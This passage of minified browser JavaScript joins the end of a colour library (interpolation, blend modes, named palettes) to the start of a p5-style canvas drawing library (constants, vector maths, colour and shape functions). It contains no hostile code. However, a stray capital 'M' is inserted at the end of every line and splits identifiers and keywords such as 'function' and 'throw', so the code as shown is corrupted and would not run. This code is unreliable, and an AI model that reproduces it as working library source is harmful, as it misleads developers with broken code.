n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
